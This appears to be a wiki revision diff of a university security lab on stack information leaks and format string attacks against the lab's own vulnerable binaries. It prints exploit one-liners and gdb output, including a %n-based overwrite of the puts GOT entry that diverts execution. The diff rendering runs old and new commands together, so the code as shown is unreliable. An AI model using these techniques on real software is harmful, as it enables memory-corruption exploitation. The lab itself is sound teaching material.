# Differences

This shows you the differences between two versions of the page.

cns:labs:lab-07 [2019/11/10 19:10]
cristina.popescu [Information Leak]
cns:labs:lab-07 [2019/11/11 16:26] (current)
mihai.dumitru2201 [Information Leak]
Line 56: Line 56:
Enter the ''​basic-info-leak/''​ subfolder in the [[http://​elf.cs.pub.ro/​oss/​res/​labs/​lab-07.tar.gz|lab archive]]. It's a basic information leak example. Enter the ''​basic-info-leak/''​ subfolder in the [[http://​elf.cs.pub.ro/​oss/​res/​labs/​lab-07.tar.gz|lab archive]]. It's a basic information leak example.

-In ''​basic_info_leak.c'',​ ''​buf''​ is supplied as input, hence is not trusted. We should be careful with this buffer. If the user gives ''​32''​ bytes as input then ''​strcpy''​ will copy bytes in ''​my_string''​ until it finds a ''​NUL''​ byte (''​0x00''​). Because the [[cns:​labs:​lab-05|stack grows down]], on most platforms, we will start accessing the content of the stack. After the ''​buf''​ variable the stack stores the ''​old ​ebp'',​ the function return address and then the function parameters. This information is copied into ''​my_string''​. As such, printing information in ''​my_string''​ (after byte index ''​32''​) using ''​puts()''​ results in information leaks.+In ''​basic_info_leak.c'',​ ''​buf''​ is supplied as input, hence is not trusted. We should be careful with this buffer. If the user gives ''​32''​ bytes as input then ''​strcpy''​ will copy bytes in ''​my_string''​ until it finds a ''​NUL''​ byte (''​0x00''​). Because the [[cns:​labs:​lab-05|stack grows down]], on most platforms, we will start accessing the content of the stack. After the ''​buf''​ variable the stack stores the ''​old ​rbp'',​ the function return address and then the function parameters. This information is copied into ''​my_string''​. As such, printing information in ''​my_string''​ (after byte index ''​32''​) using ''​puts()''​ results in information leaks.

We can test this using: We can test this using:
<​code>​ <​code>​
$python -c 'print "​A"​*32'​ | ./​basic_info_leak ​$ python -c 'print "​A"​*32'​ | ./​basic_info_leak ​
-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAX�����+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8
</​code>​ </​code>​

Line 69: Line 69:
00000000: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA 00000000: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000010: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA 00000010: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
-00000020: ​786d 99ff f184 0408 0a+00000020: ​d066 57b4 fc7f 0a                        ​.fW....
</​code>​ </​code>​

-We have leaked ​two values ​above: +We have leaked ​one value above:
-  * the old/stored ''​ebp''​ value (right after the buffer): ''​0xff996d78''​ (it's a little endian architecture);​ it will differ on your system +  * the lower non-0 bytes of the old/stored ''​rbp''​ value (right after the buffer): ''​0x7ffcb45766d0''​ (it's a little endian architecture);​ it will differ on your system
-  * the ''​my_main()''​ return address: ''​0x080484f1''​+

-The return address usually doesn'​t change (except for executables with PIE, //Position Independent Executable//​ support). But assuming ASLR is enabled, the ''​ebp''​ value changes at each run. If we leak it we have a basic address that we can toy around to leak or overwrite other values. We'll see more of that in the [[#​p_information_leak|Information Leak]] task.+The return address usually doesn'​t change (except for executables with PIE, //Position Independent Executable//​ support). But assuming ASLR is enabled, the ''​rbp''​ value changes at each run. If we leak it we have a basic address that we can toy around to leak or overwrite other values. We'll see more of that in the [[#​p_information_leak|Information Leak]] task.
====  Recap: String Shellcode ==== ====  Recap: String Shellcode ====

Line 106: Line 105:
==== Information Leak ====  ==== Information Leak ====

-We will now show how improper string handling will lead to information leaks from the memory. For this, please access the ''​info-leak/''​ subfolder in the [[http://​elf.cs.pub.ro/​oss/​res/​labs/​lab-07.tar.gz|lab archive]]. Please browse the ''​info-leak.c''​ source code file. The executable file is already generated in ''​info-leak''​ (a 32-bit ELF file).+We will now show how improper string handling will lead to information leaks from the memory. For this, please access the ''​info-leak/''​ subfolder in the [[http://​elf.cs.pub.ro/​oss/​res/​labs/​lab-07.tar.gz|lab archive]]. Please browse the ''​info-leak.c''​ source code file. The executable file is already generated in ''​info-leak''​ (a 64-bit ELF file).

The snippet below is the relevant code snippet. The goal is to call the ''​my_evil_func()''​ function. One of the building blocks of exploiting a vulnerability is to see whether or not we have memory write. If you have memory writes, then getting code execution is a matter of getting things right. In this task we are assuming that we have memory write (i.e. we can write any value at any address). You can call the ''​my_evil_func()''​ function by overriding the return address of the ''​my_main()''​ function: The snippet below is the relevant code snippet. The goal is to call the ''​my_evil_func()''​ function. One of the building blocks of exploiting a vulnerability is to see whether or not we have memory write. If you have memory writes, then getting code execution is a matter of getting things right. In this task we are assuming that we have memory write (i.e. we can write any value at any address). You can call the ''​my_evil_func()''​ function by overriding the return address of the ''​my_main()''​ function:
Line 168: Line 167:
</​code>​ </​code>​

-We see we have an information leak. We leak two pieces ​of data above: ''​0x7fffffffdcf0''​. ​The first one seems to be a stack address and the second one a code/text address. +We see we have an information leak. We leak one piece of data above: ''​0x7fffffffdcf0''​.
If we run multiple times we can see that the values for the first piece of information differs: If we run multiple times we can see that the values for the first piece of information differs:
<code bash> <code bash>
Line 207: Line 205:
</​code>​ </​code>​

-From the GDB above, we determine that, after our buffer, there are two values: one value is the stored ''​rbp''​ (i.e. old rbp) and one value is the return address of the ''​my_main()''​ function (that gets it back to ''​main()''​).+From the GDB above, we determine that, after our buffer, there is the stored ''​rbp''​ (i.e. old rbp).

-When we leak the two values we are able to retrieve the stored ''​rbp''​ value. In the above run the value of ''​ebp''​ is ''​0x00007fffffffdc50''​. We also see that the stored ''​rbp''​ value is stored at **address** ''​0x7fffffffdc40'',​ which is the address current ''​rbp''​. We have the situation in the below diagram:+<​note>​
+In 32-bit program there would (usually) be 2 leaked values:
+  * The old ''​ebp''​
+  * The return address of the function
+
+This happens if the values of the old ''​ebp''​ and the return address don't have any ''​\x00''​ bytes.
+
+in the 64-bit example we only get the old ''​rbp''​ because the 2 high bytes of the stack address are always ''​0''​ which causes the string to be terminated early.
+</​note>​
+
+When we leak the two values we are able to retrieve the stored ''​rbp''​ value. In the above run the value of ''​rbp''​ is ''​0x00007fffffffdc50''​. We also see that the stored ''​rbp''​ value is stored at **address** ''​0x7fffffffdc40'',​ which is the address current ''​rbp''​. We have the situation in the below diagram:

{{ :​cns:​labs:​info-leak-stack-64.png?​600 |}} {{ :​cns:​labs:​info-leak-stack-64.png?​600 |}}
Line 215: Line 223:
We marked the stored ''​rbp''​ value (i.e. the frame pointer for ''​main()'':​ ''​0x7fffffffdc50''​) with the font color red in both places. We marked the stored ''​rbp''​ value (i.e. the frame pointer for ''​main()'':​ ''​0x7fffffffdc50''​) with the font color red in both places.

-In short, if we leak the value of the stored ''​rbp''​ (i.e. the frame pointer for ''​main()'':​ ''​0x00007fffffffdc50''​) we can determine the address ​where the current ''​rbp''​ (i.e. the frame pointer for ''​my_main()'':​ ''​0x7fffffffdc40''​) by subtracting ''​16''​. The address where the ''​my_main()''​ return address is stored (''​0x7fffffffdc48''​) is computed by subtracting ''​8''​ from the leaked ''​rbp''​ value. By overwriting the value at this address we will force an arbitrary code execution and call ''​my_evil_func()''​.+In short, if we leak the value of the stored ''​rbp''​ (i.e. the frame pointer for ''​main()'':​ ''​0x00007fffffffdc50''​) we can determine the address ​of the current ''​rbp''​ (i.e. the frame pointer for ''​my_main()'':​ ''​0x7fffffffdc40''​)by subtracting ''​16''​. The address where the ''​my_main()''​ return address is stored (''​0x7fffffffdc48''​) is computed by subtracting ''​8''​ from the leaked ''​rbp''​ value. By overwriting the value at this address we will force an arbitrary code execution and call ''​my_evil_func()''​.

In order to write the return address of the ''​my_main()''​ function with the address of the ''​my_evil_func()''​ function, make use of the conveniently (but not realistically) placed ''​my_memory_write()''​ function. The ''​my_memory_write()''​ allows the user to write arbitrary values to arbitrary memory addresses. In order to write the return address of the ''​my_main()''​ function with the address of the ''​my_evil_func()''​ function, make use of the conveniently (but not realistically) placed ''​my_memory_write()''​ function. The ''​my_memory_write()''​ allows the user to write arbitrary values to arbitrary memory addresses.
Line 350: Line 358:

==== Extra: Format String Attack ==== ==== Extra: Format String Attack ====
+
+Go to the ''​format-string/''​ subfolder in the [[http://​elf.cs.pub.ro/​oss/​res/​labs/​lab-07.tar.gz|lab archive]].
+In this task you will be working with a **32-bit binary**.

The goal of this task is to call ''​my_evil_func''​ again. This task is also tutorial based. The goal of this task is to call ''​my_evil_func''​ again. This task is also tutorial based.
Line 385: Line 396:
Now, because we are able to select //any// higher address with this function and because the buffer is on the stack, sooner or later we will discover our own buffer. Now, because we are able to select //any// higher address with this function and because the buffer is on the stack, sooner or later we will discover our own buffer.
<code bash> <code bash>
-$./format "$(perl -'printf ​"%%08x\x0a"x10000'​)" ​+$./format "$(python2 ​-'print "%08x\n" ​* 10000'​)" ​
</​code>​ </​code>​

Line 399: Line 410:
By trial and error or by using GDB (breakpoint on ''​printf''​) we can determine By trial and error or by using GDB (breakpoint on ''​printf''​) we can determine
<code bash> <code bash>
-$./format "$(perl -'printf ​"​A"​x512 . "%%08x   ​\x0a"x200'​)" ​ | grep -n 41 | head+$./format "$(python2 ​-'print "​A" ​* 512 + "%08x\n" ​* 200'​)" ​ | grep -n 41 | head
17:​415729ac ​   17:​415729ac ​
56:​ffffdd41 ​   56:​ffffdd41 ​
Line 408: Line 419:

<​note>​ <​note>​
-Command line Perl/Python exploits tend to get very tedious and hard to read when the payload gets more complex. You can use the following reference Perl script to write your exploit. The code is equivalent to the above one-liner.+Command line Python exploits tend to get very tedious and hard to read when the payload gets more complex. You can use the following reference Perl script to write your exploit. The code is equivalent to the above one-liner.
+
+<code python>​
+#​!/​usr/​bin/​env python2
+
+from pwn import *

-<code perl> +stack_items = 100
-#​!/​usr/​bin/​env perl+

-use strict; +pad = "​A"​ * 512
-use warnings; +val_fmt = "​%08x ​  ​\n"​
-use v5.20;+fmt = pad + val_fmt * stack_items

-my $stack_items ​1000;+io process(["​./​format",​ fmt]) -printf "​A"​ x 512; +# io.interactive() -printf "​%%08x ​ ​\x0a"​ x$stack_items;​+
</​code>​ </​code>​

-Then call the ''​format''​ using (note the enclosing double-quotes):+Then call the ''​format''​ using:

<​code>​ <​code>​
-./format "​$(perl ​exploit.pl)"+python2 ​exploit.py </​code>​ </​code>​ </​note>​ </​note>​ Line 434: Line 448: We can compress our buffer by specifying the position of the argument. We can compress our buffer by specifying the position of the argument. <code bash> <code bash> -$ ./format "$(perl -'printf ​"​BCDE"​."​A"​x510 . "%%126\$08x"'​)"​+$./format "$(python ​-'print "​BCDE" ​"​A" ​* 510 + "​%126$08x"'​)"​ BCDEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA45444342 BCDEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA45444342 This is the most useless and insecure program! This is the most useless and insecure program! Line 468: Line 482: We can replace ''​%08x''​ with ''​%n''​ this should lead to segmentation fault. We can replace ''​%08x''​ with ''​%n''​ this should lead to segmentation fault. <code bash> <code bash> -$ ./format "$(perl -'printf ​"​BCDE"​."​A"​x510 . "%%126\$08n"'​)"​+$./format "$(python ​-'print "​BCDE" ​"​A" ​* 510 + "​%126$08n"'​)"​ Segmentation fault (core dumped) Segmentation fault (core dumped)$ gdb ./format -c core $gdb ./format -c core Line 491: Line 505: <code bash> <code bash> -$ ./format "$(perl -'printf ​"​BCDE"​"​A"​x506 . "%%99x" ​"%%126\$08n"'​)"​+$./format "$(python ​-'print "​BCDE" ​"​A" ​* 506 + "​%99x" ​"​%126$08n"'​)"​ Segmentation fault (core dumped) Segmentation fault (core dumped)$ gdb ./format -c core $gdb ./format -c core Line 510: Line 524:$ objdump -R ./format | grep puts $objdump -R ./format | grep puts 0804a008 R_386_JUMP_SLOT ​ puts 0804a008 R_386_JUMP_SLOT ​ puts -$ ./format "$(perl -'printf ​"​\x08\xa0\x04\x08"​"​\x09\xa0\x04\x08" ​"​\x0a\xa0\x04\x08"​"​\x0b\xa0\x04\x08" ​"​A"​x498 . "%%255x|" ​"%%126\$08x" ​"%%255x|" ​"%%127\$08x" ​"%%255x|" ​"%%128\$08x"'​)"​+$./format "$(python ​-'print "​\x08\xa0\x04\x08" ​"​\x09\xa0\x04\x08" ​"​\x0a\xa0\x04\x08" ​"​\x0b\xa0\x04\x08" ​"​A" ​* 498 + "​%255x|" ​"​%126$08x" ​"​%255x|" ​"​%127$08x" ​"​%255x|" ​"​%128$08x"'​)"​ Line 525: Line 539: Lets replace the ''​%x''​ with ''​%n''​ Lets replace the ''​%x''​ with ''​%n''​ <code bash> <code bash> -$ ./format "$(perl -'printf ​"​\x08\xa0\x04\x08"​"​\x09\xa0\x04\x08" ​"​\x0a\xa0\x04\x08"​"​\x0b\xa0\x04\x08" ​"​A"​x498 . "%%255x|" ​"%%126\$08n" ​"%%255x|" ​"%%127\$08n" ​"%%255x|" ​"%%128\$08n" ​"%%255x|" ​"%%129\$08n"'​)"​+$ ./format "$(python ​-'print "​\x08\xa0\x04\x08" ​"​\x09\xa0\x04\x08" ​"​\x0a\xa0\x04\x08" ​"​\x0b\xa0\x04\x08" ​"​A" ​* 498 + "​%255x|" ​"​%126$08n" ​"​%255x|" ​"​%127$08n" ​"​%255x|" ​"​%128$08n" ​"​%255x|" ​"​%129$08n"'​)"​$ gdb ./format -c core $gdb ./format -c core Program terminated with signal 11, Segmentation fault. Program terminated with signal 11, Segmentation fault. Line 558: Line 572: The first byte is ''​0x94''​ (little endian), recall that we were able to write ''​0x02'',​ writing ''​0x94''​ means replacing first 255 with 255-(0x102-0x94) == 145. The first byte is ''​0x94''​ (little endian), recall that we were able to write ''​0x02'',​ writing ''​0x94''​ means replacing first 255 with 255-(0x102-0x94) == 145. <code bash> <code bash> -$ ./format "$(perl -'printf ​"​\x08\xa0\x04\x08"​"​\x09\xa0\x04\x08" ​"​\x0a\xa0\x04\x08"​"​\x0b\xa0\x04\x08" ​"​A"​x498 . "%%145x|" ​"%%126\$08n" ​"%%255x|" ​"%%127\$08n" ​"%%255x|" ​"%%128\$08n" ​"%%255x|" ​"%%129\$08n"'​)"​+$ ./format "$(python ​-'print "​\x08\xa0\x04\x08" ​"​\x09\xa0\x04\x08" ​"​\x0a\xa0\x04\x08" ​"​\x0b\xa0\x04\x08" ​"​A" ​* 498 + "​%145x|" ​"​%126$08n" ​"​%255x|" ​"​%127$08n" ​"​%255x|" ​"​%128$08n" ​"​%255x|" ​"​%129$08n"'​)"​$ gdb ./format -c core $gdb ./format -c core #0 0x94949494 in ?? () #0 0x94949494 in ?? () Line 565: Line 579: The next byte that we want to write is ''​0x84''​ so we need to replace 255 with 235. We can continue this idea until we profit. The next byte that we want to write is ''​0x84''​ so we need to replace 255 with 235. We can continue this idea until we profit. <code bash> <code bash> -$ ./format "$(perl -'printf ​"​\x08\xa0\x04\x08"​"​\x09\xa0\x04\x08" ​"​\x0a\xa0\x04\x08"​"​\x0b\xa0\x04\x08" ​"​A"​x498 . "%%145x|" ​"%%126\$08n" ​"%%239x|" ​"%%127\$08n" ​"%%127x|" ​"%%128\$08n" ​"%%259x|" ​"%%129\$08n"'​)"​ | tr -s ' ' > /dev/null+$ ./format "$(python ​-'print "​\x08\xa0\x04\x08" ​"​\x09\xa0\x04\x08" ​"​\x0a\xa0\x04\x08" ​"​\x0b\xa0\x04\x08" ​"​A" ​* 498 + "​%145x|" ​"​%126$08n" ​"​%239x|" ​"​%127$08n" ​"​%127x|" ​"​%128$08n" ​"​%259x|" ​"​%129\$08n"'​)"​ | tr -s ' ' > /dev/null
I'm evil, but nobody calls me :-( I'm evil, but nobody calls me :-(
</​code>​ </​code>​